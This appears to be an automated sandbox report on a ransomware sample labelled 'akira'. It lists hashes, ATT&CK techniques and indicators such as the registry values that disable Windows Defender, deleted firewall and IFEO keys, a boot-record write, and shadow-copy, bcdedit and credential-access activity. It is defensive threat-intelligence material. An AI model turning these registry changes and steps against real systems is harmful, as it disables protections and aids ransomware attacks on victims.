c7c959ae3be582a7a578051620ae3fa2a39f2f91ee24a091665e23bb524b2ca4

Analysis

max time kernel
149s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
09/07/2026, 11:00

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe
Size 1.1MB
Sample260709-m39basas5x
SHA256 c7c959ae3be582a7a578051620ae3fa2a39f2f91ee24a091665e23bb524b2ca4
MD5 171020d0b64bcf348e0b0960723be7f4
SHA1 10a744c5d39d5414c37f07b106f94a5bbe04f75d
SHA512 78fe9b8edfa2a4010c3541144d4c3cff47da1d6b1c3cb5013965791626e6d95a697236c677f783ec0d30b6acc799d721e74d67ddf5caa1e976cb356a3e25756e
SSDEEP 12288:u13b0gl8FFLNYu698xp+mAu/MC13xRKtAEhQA:uugl8lYu6SnLn13vKt1
TLSH
T1CA455A17F6B291FCE15AC07483166673FA72B88941323DBF5BE8AA312E55F506B1CB04
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

bootkit credential_access defense_evasion discovery evasion execution persistence ransomware spyware stealer trojan

Malware Config

Signatures

Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs

defense_evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe

Modifies firewall policy service 3 TTPs 16 IoCs

defense_evasion

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile\Logging	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\RestrictedServices\AppIso\FirewallRules	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\RestrictedServices\Static\System	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\Logging	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\FirewallRules	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\Mdm	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\PublicProfile\Logging	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\PublicProfile	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\RestrictedServices\AppIso	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\RestrictedServices	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\RestrictedInterfaces	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\RestrictedServices\Configurable	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\RestrictedInterfaces\IfIso	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\RestrictedServices\Static	reg.exe

Modifies security service 2 TTPs 8 IoCs

defense_evasion

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\mpssvc\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe

Detects executables embedding registry key / value combination indicative of disabling Windows Defen 2 IoCs

resource	yara_rule
behavioral1/memory/5636-61-0x00007FF719FA0000-0x00007FF71A0CA000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender
behavioral1/memory/5636-62-0x00007FF719FA0000-0x00007FF71A0CA000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender

Disables Task Manager via registry modification
defense_evasion

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 50 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ngentask.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AcroRd32Info.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cnfnot32.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ExtExport.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msoasb.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msosync.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\splwow64.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\excelcnv.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\onenote.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\selfcert.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemSettings.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\clview.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ieinstal.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MicrosoftEdgeUpdate.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msfeedssync.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msqry32.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\scanost.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sdxhelper.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ielowutil.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PresentationHost.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\scanpst.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\setlang.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spoolsv.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchost.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winword.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MRT.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msoxmled.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ngen.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wordconv.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\excel.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\graph.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ieUnatt.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iexplore.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mscorsvw.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msoadfsb.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\outlook.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RdrCEF.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ie4uinit.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msohtmed.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\orgchart.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powerpnt.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PrintDialog.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PrintIsolationHost.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RdrServicesUpdater.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\runtimebroker.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AcroRd32.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msosrec.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\onenotem.exe	reg.exe

Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
credential_access stealer

Windows Credential Manager
T1555.004
Modifies service settings 1 TTPs
Alters the configuration of existing services.
defense_evasion

Windows Service
T1543.003
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe

Indicator Removal: Clear Persistence 1 TTPs 50 IoCs

remove IFEO.

defense_evasion

Clear Persistence

T1070.009

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sdxhelper.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spoolsv.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winword.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wordconv.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msoxmled.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\scanost.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\scanpst.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchost.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AcroRd32Info.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ieUnatt.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iexplore.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MRT.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msfeedssync.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msosrec.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\onenote.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\runtimebroker.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ExtExport.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MicrosoftEdgeUpdate.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msqry32.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ngentask.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\orgchart.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\outlook.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemSettings.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cnfnot32.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RdrServicesUpdater.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\selfcert.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ielowutil.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msoasb.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PrintDialog.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PrintIsolationHost.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AcroRd32.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ie4uinit.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msohtmed.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\onenotem.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PresentationHost.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\setlang.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\splwow64.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\clview.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\excel.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\excelcnv.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\graph.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ieinstal.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mscorsvw.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msosync.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powerpnt.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msoadfsb.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ngen.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RdrCEF.exe	reg.exe

Maps connected drives based on registry 3 TTPs 3 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum	reg.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum	reg.exe

Modifies boot configuration data using bcdedit 10 IoCs

pid	Process
3332	bcdedit.exe
4260	bcdedit.exe
5236	bcdedit.exe
6116	bcdedit.exe
3244	bcdedit.exe
5084	bcdedit.exe
4012	bcdedit.exe
1984	bcdedit.exe
2424	bcdedit.exe
1340	bcdedit.exe

Power Settings 1 TTPs 1 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
1060	powercfg.exe

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\Recovery	reagentc.exe
File opened for modification	C:\Windows\system32\Recovery\ReAgent.xml	reagentc.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\updwall.jpg"	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	reagentc.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	reagentc.exe

Launches sc.exe 13 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
6024	sc.exe
5520	sc.exe
1772	sc.exe
2848	sc.exe
4372	sc.exe
1960	sc.exe
5896	sc.exe
3276	sc.exe
1760	sc.exe
1260	sc.exe
4916	sc.exe
2616	sc.exe
2928	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
5136	vssadmin.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
5636	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe
5636	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	6096	wmic.exe
Token: SeSecurityPrivilege	6096	wmic.exe
Token: SeTakeOwnershipPrivilege	6096	wmic.exe
Token: SeLoadDriverPrivilege	6096	wmic.exe
Token: SeSystemProfilePrivilege	6096	wmic.exe
Token: SeSystemtimePrivilege	6096	wmic.exe
Token: SeProfSingleProcessPrivilege	6096	wmic.exe
Token: SeIncBasePriorityPrivilege	6096	wmic.exe
Token: SeCreatePagefilePrivilege	6096	wmic.exe
Token: SeBackupPrivilege	6096	wmic.exe
Token: SeRestorePrivilege	6096	wmic.exe
Token: SeShutdownPrivilege	6096	wmic.exe
Token: SeDebugPrivilege	6096	wmic.exe
Token: SeSystemEnvironmentPrivilege	6096	wmic.exe
Token: SeRemoteShutdownPrivilege	6096	wmic.exe
Token: SeUndockPrivilege	6096	wmic.exe
Token: SeManageVolumePrivilege	6096	wmic.exe
Token: 33	6096	wmic.exe
Token: 34	6096	wmic.exe
Token: 35	6096	wmic.exe
Token: 36	6096	wmic.exe
Token: SeIncreaseQuotaPrivilege	4248	wmic.exe
Token: SeSecurityPrivilege	4248	wmic.exe
Token: SeTakeOwnershipPrivilege	4248	wmic.exe
Token: SeLoadDriverPrivilege	4248	wmic.exe
Token: SeSystemProfilePrivilege	4248	wmic.exe
Token: SeSystemtimePrivilege	4248	wmic.exe
Token: SeProfSingleProcessPrivilege	4248	wmic.exe
Token: SeIncBasePriorityPrivilege	4248	wmic.exe
Token: SeCreatePagefilePrivilege	4248	wmic.exe
Token: SeBackupPrivilege	4248	wmic.exe
Token: SeRestorePrivilege	4248	wmic.exe
Token: SeShutdownPrivilege	4248	wmic.exe
Token: SeDebugPrivilege	4248	wmic.exe
Token: SeSystemEnvironmentPrivilege	4248	wmic.exe
Token: SeRemoteShutdownPrivilege	4248	wmic.exe
Token: SeUndockPrivilege	4248	wmic.exe
Token: SeManageVolumePrivilege	4248	wmic.exe
Token: 33	4248	wmic.exe
Token: 34	4248	wmic.exe
Token: 35	4248	wmic.exe
Token: 36	4248	wmic.exe
Token: SeIncreaseQuotaPrivilege	4248	wmic.exe
Token: SeSecurityPrivilege	4248	wmic.exe
Token: SeTakeOwnershipPrivilege	4248	wmic.exe
Token: SeLoadDriverPrivilege	4248	wmic.exe
Token: SeSystemProfilePrivilege	4248	wmic.exe
Token: SeSystemtimePrivilege	4248	wmic.exe
Token: SeProfSingleProcessPrivilege	4248	wmic.exe
Token: SeIncBasePriorityPrivilege	4248	wmic.exe
Token: SeCreatePagefilePrivilege	4248	wmic.exe
Token: SeBackupPrivilege	4248	wmic.exe
Token: SeRestorePrivilege	4248	wmic.exe
Token: SeShutdownPrivilege	4248	wmic.exe
Token: SeDebugPrivilege	4248	wmic.exe
Token: SeSystemEnvironmentPrivilege	4248	wmic.exe
Token: SeRemoteShutdownPrivilege	4248	wmic.exe
Token: SeUndockPrivilege	4248	wmic.exe
Token: SeManageVolumePrivilege	4248	wmic.exe
Token: 33	4248	wmic.exe
Token: 34	4248	wmic.exe
Token: 35	4248	wmic.exe
Token: 36	4248	wmic.exe
Token: SeSecurityPrivilege	5392	wevtutil.exe

Suspicious use of WriteProcessMemory 51 IoCs

description	pid	Process	procid_target
PID 5636 wrote to memory of 1840	5636	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	88
PID 5636 wrote to memory of 5572	5636	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	90
PID 5636 wrote to memory of 2144	5636	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	92
PID 5636 wrote to memory of 2500	5636	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	94
PID 5636 wrote to memory of 2708	5636	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	96
PID 5636 wrote to memory of 5896	5636	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	98
PID 5636 wrote to memory of 2928	5636	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	100
PID 5636 wrote to memory of 3276	5636	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	102
PID 5636 wrote to memory of 6024	5636	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	104
PID 5636 wrote to memory of 5520	5636	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	106
PID 5636 wrote to memory of 1760	5636	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	108
PID 5636 wrote to memory of 1772	5636	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	110
PID 5636 wrote to memory of 2848	5636	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	112
PID 5636 wrote to memory of 4372	5636	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	114
PID 5636 wrote to memory of 1260	5636	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	116
PID 5636 wrote to memory of 4908	5636	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	124
